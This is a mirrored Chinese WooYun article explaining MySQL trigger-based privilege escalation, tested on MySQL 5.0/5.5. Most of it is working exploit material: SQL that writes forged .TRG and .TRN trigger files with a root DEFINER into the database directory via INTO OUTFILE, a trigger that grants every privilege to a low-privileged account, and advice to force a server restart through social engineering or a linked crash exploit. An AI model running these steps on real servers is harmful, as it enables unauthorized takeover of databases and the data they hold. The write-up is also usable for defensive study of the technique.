Mysql Trigger

wyzsk發表於2020-08-19
作者: darksn0w · 2014/10/31 10:22

0x00 什麼是觸發器


觸發器(trigger)是資料庫提供給程式設計師和資料分析員來保證資料完整性的一種方法,它是與表事件相關的特殊的儲存過程,它的執行不是由程式呼叫,也不是手工啟動,而是由事件來觸發,當對一個表進行操作(insert,delete,update)時就會啟用它執行。觸發器經常用於加強資料的完整性約束和業務規則等。

0x01 問題描述

a)透過Mysql觸發器提權僅僅能獲取一個Mysql

Root許可權的Mysql賬號,並不是系統提權(系統提權取決於包括mysql是不是以root方式執行的等等很多因素)。

b)滲透過程中所能利用的觸發器提權中,需要提權的賬號需要有"File"許可權,或者是有能力向mysql的目錄下寫入檔案。

c)Mysql的觸發器有6種型別分別是After insert,After delete,After update和Before

insert,Before delete,Before update。

在以下版本測試成功:

a) CentOS 5.5 && Mysql-5.0.51a

b) Win2003 x86 && Mysql-5.5.24

0x02 工作原理


a) 因為MySQL的觸發器以明文文字的形式儲存最對應庫的目錄下面,形式為觸發器檔案.TRG和觸發器描述檔案.TRN,可以透過select into outfile方式寫入(所以需要"File"許可權)。

b) Mysql在定義觸發器的時候有一個定義觸發器執行角色的欄位DEFINER,預設的此欄位與建立觸發器的角色相同(即與'CREATE DEFINER'欄位相同)。如果我們可以上傳一個執行角色為root的觸發器,那麼就能以root許可權執行觸發語句。

c) 根據觸發器的原理,我們本地新建一個觸發器,然後修改相關配置,如觸發角色,觸發條件,觸發後執行語句等等,製作exp實現提權。

0x03 實驗環境


Win2003x86 && Mysql-5.5.24,預設安裝Mysql,匯入一個xxxCMS的資料庫"cms",併為此資料庫建立一個普通許可權的使用者"test" Test 賬號新增方式:

grant all privileges on cms.* to [email protected] identified by '1234';

root執行show databases;的結果:

enter image description here

root執行select User,Host from mysql.user;的結果:

enter image description here

test執行show databases;

enter image description here

test執行use cms;並查詢此資料庫上存在的觸發器show triggers;

enter image description here

0x04 實驗過程


a)本地生成觸發器檔案: 1.首先在本地的Mysql上建立正常的觸發器,建立過程:

mysql> delimiter //   
            /** 此處定義操作塊,在操作塊結束前即使遇到;也不去執行,直到遇到結束符(//) **/
mysql> create trigger rootme after update on cms_users for each row 
            /** 建立一個作用於表cms_users的、型別為After update的、名為rootme的觸發器,for each row意思是每觸發一次,就執行一次執行語句 **/
mysql> begin update mysql.user set Select_priv='Y',Insert_priv='Y',Update_priv='Y',Delete_priv='Y',Create_priv='Y',Drop_priv='Y',Reload_priv='Y',Shutdown_priv='Y',Process_priv='Y',File_priv='Y',Grant_priv='Y',References_priv='Y',Index_priv='Y',Alter_priv='Y',Show_db_priv='Y',Super_priv='Y',Create_tmp_table_priv='Y',Lock_tables_priv='Y',Execute_priv='Y',Repl_slave_priv='Y',Repl_client_priv='Y',Create_view_priv='Y',Show_view_priv='Y',Create_routine_priv='Y',Alter_routine_priv='Y',Create_user_priv='Y',Event_priv='Y',Trigger_priv='Y',Create_tablespace_priv='Y',ssl_type='Y',ssl_cipher='Y',x509_issuer='Y',x509_subject='Y',max_questions='Y',max_updates='Y',max_connections='Y' where User='test';
            /** 預設格式begin為開頭加上觸發後執行的語句,此處語句為執行修改mysql.user表中test使用者的許可權的操作 **/
mysql> end;    /** 觸發器定義結束標誌 **/
mysql> //      /** 操作塊結束標誌,閉合開頭定義的操作塊 **/

以上sql語句執行完畢就會在資料庫cms的目錄下生成兩個檔案:rootme.TRN 和 cms_users.TRG。

開啟檔案,發現DEFINER欄位為:[email protected]

[email protected],使此觸發器觸發後執行角色為root。 將這兩個檔案作為後面的提權Exp保留下來。

b)使用test使用者登陸Mysql,並查詢此資料庫上存在的觸發器:

enter image description here

經過查詢觸發器為空,我們把前面我們本地生成好的觸發器檔案上傳到對應的資料庫目錄下,即cms目錄下:

/** 上傳可以使用select * into outfile方式或者其他方式 **/
/**   TRG檔案   **/
/**   SELECT 'TYPE=TRIGGERS' into outfile'C:wampbinmysqlmysql5.5.24datacmsrootme.TRG' LINES TERMINATED BY 'ntriggers='CREATE DEFINER=`root`@`localhost` trigger rootme after update on cms_users for each rownbegin nUPDATE mysql.user SET Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y', Show_db_priv='Y', Super_priv='Y', Create_tmp_table_priv='Y', Lock_tables_priv='Y', Execute_priv='Y', Repl_slave_priv='Y', Repl_client_priv='Y', Create_view_priv='Y', Show_view_priv='Y', Create_routine_priv='Y', Alter_routine_priv='Y', Create_user_priv='Y', ssl_type='Y', ssl_cipher='Y', x509_issuer='Y', x509_subject='Y',max_questions='Y', max_updates='Y', max_connections='Y' WHERE User='test';[email protected][email protected]l_names='utf8_general_ci'n';    **/
/**   TRN檔案   **/
/**   SELECT 'TYPE=TRIGGERNAMEntrigger_table=rootme;' into outfile 'C:wampbinmysqlmysql5.5.24datacmscms_users.TNG';   **/

enter image description here

再次查詢Triggers:

enter image description here

發現觸發器已經寫入,前面我們寫的觸發型別是after update,作用於表cms_users,所以我們這裡我們update cms_users這個表來觸發。 觸發之前mysql.user表:

enter image description here

update cms_users這個表觸發執行:

enter image description here

觸發之後mysql.user表:

enter image description here

至此,"test"使用者所擁有的許可權跟"root"使用者擁有的許可權一致。

文中部分位置"有可能"出現"不識別"的情況,比如上傳檔案後仍然查詢不到觸發器,比如觸發了觸發器修改了test的許可權後發現並未生效。此時需要重啟資料庫重新載入配置,至於重啟資料庫的方式嘛,可以借鑑社工思路。Mysql5.0版本之前的可以利用之前爆出來的棧溢位漏洞造成MySQL Crash重啟,達到重新載入配置檔案的目的。

這個棧溢位的原理是使用一個沒有grant許可權的使用者做一個虛假的grant操作,而這個操作是對一個根本不存在但很長(如下攻擊例項是10000字元長度的庫名,實際達到284個時就會觸發)庫進行賦權。 http://www.exploit-db.com/exploits/23076/

文中提到的兩個檔案

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章